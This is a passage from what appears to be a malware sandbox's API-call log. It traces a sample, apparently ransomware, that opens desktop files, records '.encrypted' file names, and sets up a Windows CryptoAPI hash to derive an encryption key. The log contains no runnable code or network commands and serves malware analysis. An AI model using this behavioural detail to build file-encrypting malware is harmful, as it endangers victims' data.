returned 0 [0022.722] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.722] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.722] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.728] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.728] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.728] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.729] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.729] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.729] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.729] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.729] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.729] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.729] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.729] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.729] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.729] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1169) returned 1 [0022.729] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.729] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.729] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.729] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x491, lpOverlapped=0x0) returned 1 [0022.730] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.730] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x491, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.730] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1169) returned 1 [0022.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi\r\n", cchWideChar=75, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 75 [0022.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi\r\n", cchWideChar=75, lpMultiByteStr=0xe8f406a370, cbMultiByte=75, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi\r\n", lpUsedDefaultChar=0x0) returned 75 [0022.730] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069bf0*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069bf0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4a, lpOverlapped=0x0) returned 1 [0022.730] CloseHandle (hObject=0x188) returned 1 [0022.732] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.732] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.733] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.733] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.733] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.733] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.733] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.734] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.734] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178820, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.734] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.734] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.gif", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0022.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.gif", cchWideChar=53, lpMultiByteStr=0xe8f404c1d0, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.gif", lpUsedDefaultChar=0x0) returned 53 [0022.736] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.gif" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\xkrc6.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=53, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0022.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=53, lpWideCharStr=0xe8f4065d70, cchWideChar=53 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.gif") returned 53 [0022.736] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.737] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.737] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.737] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.737] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41786a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.737] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.738] CloseHandle (hObject=0x188) returned 1 [0022.738] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.738] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.738] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.738] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.738] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.738] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.738] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.738] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.738] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.738] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.738] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.738] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.738] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.738] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.738] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.738] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.738] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.738] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.739] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.739] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.739] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.739] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.739] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.739] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.739] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.740] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.740] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.740] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.740] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.740] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.740] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.740] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.740] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.740] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.741] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.741] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.741] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.741] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.741] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.741] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b9f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 